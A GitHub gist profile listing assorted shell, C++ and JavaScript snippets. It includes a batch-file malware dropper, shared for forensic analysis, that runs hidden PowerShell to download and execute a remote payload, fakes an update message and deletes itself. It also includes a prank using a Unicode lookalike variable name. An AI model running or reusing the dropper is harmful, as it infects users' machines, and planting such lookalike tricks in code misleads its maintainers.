Skip to content

Instantly share code, notes, and snippets.

View IQAndreas's full-sized avatar

Andreas Renberg IQAndreas

View GitHub Profile
#!/bin/bash
# --------------------------------------------------------------------------- #
# Created by Andreas Renberg (https://github.com/IQAndreas)
# Based on work by Doctor J (https://stackoverflow.com/a/1403489/617937)
# This code is in the public domain and under no license.
# Well, my code at least. The ~8 lines by Doctor J still belong to him.
# --------------------------------------------------------------------------- #
# Personal notes: What if a file is named 'file.'?
@IQAndreas
IQAndreas / gist:b1870fa9af631ea814d396ba4ed02149
Last active March 3, 2017 20:38 — forked from larsiusprime/gist:2cff49cc973eba078a94b6c3358c7efb
Help me diagnose a black screen error on linux/mac

I believe these settings should be enough to reproduce the error.

platform: linux
bits: 64
haxe version: latest dev version

hxcpp: https://github.com/larsiusprime/hxcpp (master branch)

video_title="${video_title//"/\'}"; # Replace " with ' }";
video_title="${video_title//'/\'}"; # Replace ' with ' }";
video_title="${video_title//&/&}"; # Replace & with &
video_title="${video_title//\//}"; # Remove forward slashes
@IQAndreas
IQAndreas / chrome_update.bat
Created July 16, 2016 14:36
DO NOT RUN! This is malware. This batch file was automatically downloaded by Google Chrome from a website when it redirected to an advertisement. Posted here for forensic analysis.
@echo off
echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\2a8e4da7858ebc8a788b7e303e06ab57.exe';(New-Object System.Net.WebClient).DownloadFile('https://ahsunachatdesign.net/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js"
start /min "" wscript.exe "%temp%\install_flash.js"
DEL "%~f0
@IQAndreas
IQAndreas / everything-i-know-is-a-lie.js
Created April 20, 2016 07:48
JavaScript ˮtrueˮ == "false". All credit goes to @FakeUnicode: https://twitter.com/FakeUnicode/status/722685252653727744
// Just hide this line somewhere deep inside your code where nobody will find it...
var ˮtrueˮ = "false";
// ...
if (ˮtrueˮ == "false") {
alert("There is no spoon.");
}
@IQAndreas
IQAndreas / cleanup-windows.sh
Created December 8, 2015 02:08
Cleanup "worthless" files from Windows backups
#!/bin/bash
# Remove "worthless" Windows files from the backup
find . -name "Thumbs.db" -delete
find . -name "desktop.ini" -delete
# Remove empty directories
find . -type d -empty -delete
#!/bin/bash
wget "http://media.blubrry.com/creativecoding/creativecodingpodcast.com/episodes/CreativeCodingEpisode"{1..43}.mp3
@IQAndreas
IQAndreas / whois
Created September 25, 2015 11:46
Result from `whois.google.com`. See http://unix.stackexchange.com/q/232016/5769
$ whois google.com
Whois Server Version 2.0
Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.
Aborting search 50 records found .....
Server Name: GOOGLE.COM.AFRICANBATS.ORG
@IQAndreas
IQAndreas / endian.cpp
Created August 15, 2015 06:24
How to tell if integers are stored as big or little endian (basically just look in the memory locations, but convert the pointer from an `*int` to a `*char` before incrementing)
#include <iostream>
using namespace std;
int main() {
int integers[5] = {4, 13, 14, 24, 256};
int *int0 = &integers[0];
char *c = (char*)int0;
char *end = (char*)&integers[5];